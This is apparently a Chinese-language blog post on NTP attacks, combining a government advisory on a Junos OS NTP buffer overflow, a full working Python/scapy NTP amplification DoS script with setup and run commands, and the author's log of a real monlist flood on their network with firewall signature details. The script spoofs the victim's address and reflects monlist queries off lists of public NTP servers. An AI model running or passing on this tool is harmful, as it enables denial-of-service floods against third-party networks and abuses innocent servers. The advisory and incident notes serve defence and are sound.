NTP Attack .... What Hacker really want ...

Juniper Junos OS之NTP套件存在多個安全漏洞，允許攻擊者遠端執行任意程式碼，請儘速確認並進行修正
內容說明：

Juniper Junos OS是Juniper Networks公司一套以FreeBSD為基礎所發展，專用於該公司網路設備的作業系統。
Juniper官方於10月份的安全建議與警訊中，公告Junos OS之NTP套件存在多個安全漏洞，其中又以CVE-2018-7183最為嚴重，當攻擊者針對使用Junos OS的網路設備進行NTP功能查詢時，藉由發送特製的惡意封包可使其decodearr函數出現緩衝區溢位情況，導致攻擊者可遠端執行任意程式碼。



目前已知影響平台如下：

所有使用Junos OS的網路設備，包含：
．J系列
．M系列
．T系列
．MX系列
．EX系列
．SRX系列
．QFX系列
．NFX系列
．PTX系列



建議措施：

目前Juniper官方已針對弱點釋出修復版本，請各機關可聯絡設備維護廠商將Junos OS升級至以下版本：
．12.1X46-D77
．12.3X48-D70
．12.3X54-D34
．12.3R12-S10
．12.3R13
．14.1X53-D47
．15.1X49-D140
．15.1X53-D490
．15.1X53-D471
．15.1X53-D234
．15.1X53-D67
．15.1X53-D59
．15.1R4-S9
．15.1R7-S1
．15.1R8
．16.1R4-S9
．16.1R6-S4
．16.1R7
．16.2R1-S7
．16.2R2-S6
．16.2R3
．17.1R1-S7
．17.1R2-S7
．17.1R3
．17.2R1-S6
．17.2R2-S4
．17.2R3
．17.3R1-S5
．17.3R2-S2
．17.3R3
．17.4R1-S4
．17.4R2
．18.1R2
．18.2X75-D5
．18.2R1



參考資料：

1. https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10898
2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7183
3. https://www.ithome.com.tw/news/126377

Source: https://www.nccst.nat.gov.tw/VulnerabilityDetail?lang=zh&seq=1090

Publish Date
2018/10/15 10:58:56

NTP 放大攻擊

Environment : 

Python 2.7

scapy 2.3.1  : pip install scapy==2.3.1

Download Source

https://github.com/vpnguy-zz/ntpdos.git

from scapy.all import *
import sys
import threading
import time
import random # For Random source port
#NTP Amp DOS attack

#usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
#FOR USE ON YOUR OWN NETWORK ONLY

#Random source port added by JDMoore0883

#packet sender
def deny():
 #Import globals to function
 global ntplist
 global currentserver
 global data
 global target
 ntpserver = ntplist[currentserver] #Get new server
 currentserver = currentserver + 1 #Increment for next 
 packet = IP(dst=ntpserver,src=target)/UDP(sport=random.randint(2000,65533),dport=123)/Raw(load=data) #BUILD IT
 send(packet,loop=1) #SEND IT

#So I dont have to have the same stuff twice
def printhelp():
 print "NTP Amplification DOS Attack"
 print "By DaRkReD"
 print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
 print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
 print "NTP serverlist file should contain one IP per line"
 print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
 exit(0)

try:
 if len(sys.argv) < 4:
  printhelp()
 #Fetch Args
 target = sys.argv[1]

 #Help out idiots
 if target in ("help","-h","h","?","--h","--help","/?"):
  printhelp()

 ntpserverfile = sys.argv[2]
 numberthreads = int(sys.argv[3])
 #System for accepting bulk input
 ntplist = []
 currentserver = 0
 with open(ntpserverfile) as f:
     ntplist = f.readlines()

 #Make sure we dont out of bounds
 if  numberthreads > int(len(ntplist)):
  print "Attack Aborted: More threads than servers"
  print "Next time dont create more threads than servers"
  exit(0)

 #Magic Packet aka NTP v2 Monlist Packet
 data = "\x17\x00\x03\x2a" + "\x00" * 4

 #Hold our threads
 threads = []
 print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
 print "Use CTRL+C to stop attack"

 #Thread spawner
 for n in range(numberthreads):
     thread = threading.Thread(target=deny)
     thread.daemon = True
     thread.start()

     threads.append(thread)

 #In progress!
 print "Sending..."

 #Keep alive so ctrl+c still kills all them threads
 while True:
  time.sleep(1)
except KeyboardInterrupt:
 print("Script Stopped [ctrl + c]... Shutting down")
 # Script ends here

Prepare ntp-server.txt

collect the list from ..... <you know that>

Attack

./ntpdos.py <IP> ntp-server.txt <session>

NTP Attack... (Oh my god)

弱點在那兒 ?

2020/03/28 爆出這一個月以來最大量流量

結果查的結果是NTP 攻擊

很難想像, 數量有多少.

NTP Amplification REQ_MON_GETLIST Request Found: 47,411,882 次 

Name	NTP Amplification REQ_MON_GETLIST Request Found
Unique Threat ID	36343
Description	This alert indicates that there is a REQ_MON_GETLIST_1 request on NTP. If this event happened many times within a short period of time, it could indicate that someone is trying to brute force and cause DOS on the NTP server.
Category	dos
PanOS Minimum Version	6.1.0
PanOS Maximum Version
Severity	informational
Action	allow
CVE	CVE-2013-5211
Vendor ID
First Release	421 (2014-02-25 UTC)
Last Update	599 (2016-07-20 UTC)
Reference	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5211, https://www.us-cert.gov/ncas/alerts/TA14-013A
Status	released

NTP Amplification Denial-Of-Service Attack : 46,687,487次

Name	NTP Amplification Denial-Of-Service Attack
Unique Threat ID	40038
Description	This event indicates that someone is using a brute force attack to perform DOS attack to a NTP server. It is leverage CVE-2013-5211, which is the monlist feature vulnerability of NTP.
Category	brute-force
PanOS Minimum Version	6.1.0
PanOS Maximum Version
Severity	low
Action	alert
CVE	CVE-2013-5211
Vendor ID
First Release	421 (2014-02-25 UTC)
Last Update	599 (2016-07-20 UTC)
Reference	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5211, https://www.us-cert.gov/ncas/alerts/TA14-013A
Status	released

尖峰時段

半小時 73.809k 次攻擊

73.809 x 1000 / 30 / 60 = 41次/sec

一秒鐘大概 41次

從PRTG上看, 對總量影響不大, 但是對客戶上網就會變慢

搞不懂這樣攻擊的目的是什麼 ?